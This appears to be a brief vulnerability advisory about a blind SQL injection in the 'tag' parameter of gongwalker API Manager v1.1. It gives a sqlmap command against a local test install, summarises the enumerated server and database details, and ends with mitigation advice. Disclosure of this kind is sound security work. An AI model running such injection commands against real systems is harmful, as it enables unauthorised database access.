gongwalker API Manager v1.1 – Blind SQL Injection

Api Manager's index.php used tag parameters is vulnerable. An attacker can use sqlmap to exploit this vulnerability and gain access to the database. The sqlmap query used is 'sqlm -u "http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1" --level 4 --dbs --no-cast -p tag' and the result of the query is that the back-end DBMS is MySQL, web server operating system is Linux Ubuntu, web application technology is Apache 2.4.10 and back-end DBMS is MySQL 5.0.11. The query also fetched the names of the databases present in the system.

Mitigation:

Input validation should be done on the tag parameter to prevent SQL injection attacks. Access to the database should be restricted to only authorized users.
